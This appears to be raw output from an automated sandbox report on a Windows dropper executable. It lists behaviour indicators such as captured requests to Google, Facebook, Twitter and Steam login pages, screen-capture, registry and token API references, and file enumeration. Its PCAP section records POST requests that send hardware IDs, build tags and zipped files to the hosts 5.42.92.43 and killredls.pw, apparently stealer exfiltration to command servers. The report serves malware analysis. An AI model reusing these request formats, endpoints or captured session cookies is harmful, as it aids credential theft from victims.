/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D" Found http requests in header "GET /gtsr1/gtsr1.crl" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D" Found http requests in header "GET /gsr1/gsr1.crl" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D"7b:T2de0,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:JE_73_a9w_whX3TKKjwbCejKpewRwQ:sCe_TwhqYDajj_qQConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywhPPjv35kp5yo2hckrlLmfZbHiCUrZksU8Si45SpZxMDYiKE7w3N7nriKd3SGBpPZRfF2FWQ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:9EqXNODVUW5aMbu5_mg9oILIOdOubA:idIeYJqCgydeUwyI"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeywf7FeY_aqTGWvxJ_MZ3zMLjTbr8xFUGcurLSglGstm3JgdkH8WVr8tpzBWGcBzjw-ItneFcQ&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S134420751%3A1699709881575925&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:9EqXNODVUW5aMbu5_mg9oILIOdOubA:idIeYJqCgydeUwyI"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:9EqXNODVUW5aMbu5_mg9oILIOdOubA:idIeYJqCgydeUwyI"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:6Xgo0a2_I0jVCeNJkjCsJOixauKE3A:hEsdR7zHuzOBQ5Ll"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyz5Fw67IkXeMaEycElCDlNdjJeGqt5JN3kagCnIrSUGJQzJfshVMHFI7GGnnAbrxNSd-pOlDg HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:pEoOvQMZpTrKCOyWXlHxgGSPHTLXMw:FqmXDF8cT4wGPiNkConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyxFMQi3WG-cypzXg-HzkmpzF3uxwqmbG_KU9RAEGxeHuXOKJN0xI2uIybIFvP7cPk0PA5-WMg&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S101500085%3A1699709899926077&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:pEoOvQMZpTrKCOyWXlHxgGSPHTLXMw:FqmXDF8cT4wGPiNk"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-2412877274027951950&bl=boq_identityfrontendauthuiserver_20231105.08_p1&hl=en-US&_reqid=54549&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S134420751:1699709881575925",null,null,"AVQVeywf7FeY_aqTGWvxJ_MZ3zMLjTbr8xFUGcurLSglGstm3JgdkH8WVr8tpzBWGcBzjw-ItneFcQ"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 164DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:DVnZilkEcQgMvOZ03ZIGJqKDwFLXqA:OVD-K15qHahvf0oj"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=5066406412510893627&bl=boq_identityfrontendauthuiserver_20231105.08_p1&hl=en-US&_reqid=55518&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S101500085:1699709899926077",null,null,"AVQVeyxFMQi3WG-cypzXg-HzkmpzF3uxwqmbG_KU9RAEGxeHuXOKJN0xI2uIybIFvP7cPk0PA5-WMg"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 164DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:KhkdseOk2m9BUlFOzlwV_SeNDMSBQg:I6A4x0gHnlxWngP2; OTZ=7290142_52_52_123900_48_436380; NID=511=hCTwDk9k7wdSuweQ82UB5A00C0sMj16g3bAvMZln9tJsYrqLQUEpY2cl1vhlTOZlxcUjRorFgf8T6PSFFsloaqU7Wna4lqITC5AQppmUM4hEzflE-8AMv53NPq3tLsWgBYa8Qs-MhUFIGGhND9Q0jJdoNKBy_vFCT4IVsYpdrOs"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:KhkdseOk2m9BUlFOzlwV_SeNDMSBQg:I6A4x0gHnlxWngP2; OTZ=7290142_52_52_123900_48_436380; NID=511=hCTwDk9k7wdSuweQ82UB5A00C0sMj16g3bAvMZln9tJsYrqLQUEpY2cl1vhlTOZlxcUjRorFgf8T6PSFFsloaqU7Wna4lqITC5AQppmUM4hEzflE-8AMv53NPq3tLsWgBYa8Qs-MhUFIGGhND9Q0jJdoNKBy_vFCT4IVsYpdrOs"; in File: "SSL") Found requests in header "GET /generate_204?5DIRnQ HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:TnlTiaoroIqZiLoTLGePr7xQ76MOkQ:3njtpWKRlZASCL-M; OTZ=7290142_52_52_123900_48_436380; NID=511=hCTwDk9k7wdSuweQ82UB5A00C0sMj16g3bAvMZln9tJsYrqLQUEpY2cl1vhlTOZlxcUjRorFgf8T6PSFFsloaqU7Wna4lqITC5AQppmUM4hEzflE-8AMv53NPq3tLsWgBYa8Qs-MhUFIGGhND9Q0jJdoNKBy_vFCT4IVsYpdrOs"; in File: "SSL") Found requests in header "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: twitter.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: twitter.comDNT: 1Connection: Keep-AliveCookie: guest_id_marketing=v1%3A169970987252351248; guest_id_ads=v1%3A169970987252351248; personalization_id="v1_9l0vsM5vdY/+s50etjxeUA=="; guest_id=v1%3A169970987252351248"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /openid/loginform/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: steamcommunity.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yJ/l/0,cross/FzXL11-8Cqh.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yi/l/0,cross/yotEdcUw9Gj.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yE/l/0,cross/EDaOHLAZ_bY.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yT/l/0,cross/AnDdsnDnL3d.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/y1/r/4lCu2zih0ca.svg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yx/l/0,cross/7O04Eyj-1fg.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yi/r/sHD0U148vd0.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yc/l/0,cross/1FPNULrhhBJ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")7c:T58b,"__d("LowerDomainRegex",[],(function(a,b,c,d,e,f){"use strict";a=/(^|\.)(facebook|facebookcorewwwi|facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd|workplace|bulletin|www.novi)\..*/;b=/\.(facebook\.(sg|net)|facebookcorewwwi\.(?:test)?onion|facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd\.onion|workplace\.com|novi\.com|bulletin\.com)$/;f.domainRegex=a;f.hostnameRegex=b}),66);" (Indicator: ".onion") in Source: sHD0U148vd0_1_.js "" (Indicator: ".onion") in Source: urlref_httpstwitter.comiflowlogin7d:Ta83,Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Yfrk3ugrEqAme8vZvJrcContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache--Yfrk3ugrEqAme8vZvJrcContent-Disposition: form-data; name="hwid"QjIyMDJFQ0Q2NUJEMjM3NTI2MTQ0Mw==--Yfrk3ugrEqAme8vZvJrcContent-Disposition: form-data; name="build"bmFyZG8=--Yfrk3ugrEqAme8vZvJrc--"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"215031FFF9A890BF1B82A2DF12C328D06C2DEE59--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"215031FFF9A890BF1B82A2DF12C328D06C2DEE59--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"215031FFF9A890BF1B82A2DF12C328D06C2DEE59--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP")7e:T74c,Observed string: "__d("URISchemes",["$InternalEnum"],(function(a,b,c,d,e,f){"use strict";var g=new Set(["about","accountscenter","aidemos","aistudio","apk","blob","cmms","fb","fba","fbatwork","fb-ama","fb-internal","fb-workchat","fb-workchat-secure","fb-messenger","fb-messenger-public","fb-messenger-group-thread","fb-page-messages","fb-pma","fbcf","fbconnect","fbinternal","fbmobilehome","fbrpc","file","flipper","ftp","gtalk","http","https","mailto","wss","ms-app","intent","itms","itms-apps","itms-services","lasso","market","svn+ssh","fbstaging","tel","sms","pebblejs","sftp","whatsapp","moments","flash","fblite","chrome-extension","webcal","instagram","iglite","fb124024574287414","fb124024574287414rc","fb124024574287414master","fb1576585912599779","fb929757330408142","designpack","fbpixelcloud","fbapi20130214","fb1196383223757595","tbauth","oculus","oculus.store","oculus.feed","oculusstore","socialplatform","odh","com.oculus.rd","aria","skype","ms-windows-store","callto","messenger","workchat","fb236786383180508","fb1775440806014337","data","fb-mk","munki","origami-file","fb-nimble-vrsrecorder","fb-nimble-monohandtrackingvis","together","togetherbl","horizonlauncher","venues","whatsapp-consumer","whatsapp-smb","fb-ide-opener","fb-vscode","fb-vscode-insiders","editor","spark-studio","spark-player","spark-simulator","arstudio","manifold","origami-internal","origami-public","stella","mwa","mattermost","logaggregator","pcoip","cinema","home","oculus360photos","systemux"]),h=b("$InternalEnum")({EXPLICITLY_ALLOWED_SCHEMES_ONLY:"explicitly_allowed_schemes_only",INCLUDE_DEFAULTS:"include_defaults"});function a(a,b,c){b===void 0&&(b=h.INCLUDE_DEFAULTS);return a==null||a===""?!0:(c==null?void 0:c.has(a.toLowerCase()))||b===h.INCLUDE_DEFAULTS&&g.has(a.toLowerCase())}f.Options=h;f.isAllowed=a}),66);" (Indicator: ""sftp") in Source: sHD0U148vd0_1_.js7f:T6c0,"f38e27c98c652eb83fffa4c219513aa2.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00003404) "f38e27c98c652eb83fffa4c219513aa2.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003404) "f38e27c98c652eb83fffa4c219513aa2.exe" called "FindNextFileW" with parameter 9zc6iD1.exe (UID: 00000000-00003404) "f38e27c98c652eb83fffa4c219513aa2.exe" called "FindNextFileW" with parameter ca8Oc89.exe (UID: 00000000-00003404) "ca8Oc89.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00000300) "ca8Oc89.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000300) "ca8Oc89.exe" called "FindNextFileW" with parameter 8Cg883Yu.exe (UID: 00000000-00000300) "ca8Oc89.exe" called "FindNextFileW" with parameter JA0VX88.exe (UID: 00000000-00000300) "ca8Oc89.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00000300) "ca8Oc89.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00000300) "JA0VX88.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00003596) "JA0VX88.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003596) "JA0VX88.exe" called "FindNextFileW" with parameter 7xN51gn.exe (UID: 00000000-00003596) "JA0VX88.exe" called "FindNextFileW" with parameter CF3Mr43.exe (UID: 00000000-00003596) "CF3Mr43.exe" called "FindFirstFileW" with parameter %TEMP%\IXP003.TMP\*.* (UID: 00000000-00002052) "CF3Mr43.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002052) "CF3Mr43.exe" called "FindNextFileW" with parameter 1SX49Ye8.exe (UID: 00000000-00002052) "CF3Mr43.exe" called "FindNextFileW" with parameter 2QO3391.exe (UID: 00000000-00002052)80:T84f,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "00003780.00000EC4.18260065.00402000.wprm") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; File: "00003780.00000EC4.18260065.00402000.wprm") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "00003780.00000EC4.18260065.00402000.wprm") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "00003780.00000EC4.18260065.00402000.wprm") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp")81:T62b,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp")82:T4c3,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp")83:T8ef,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: 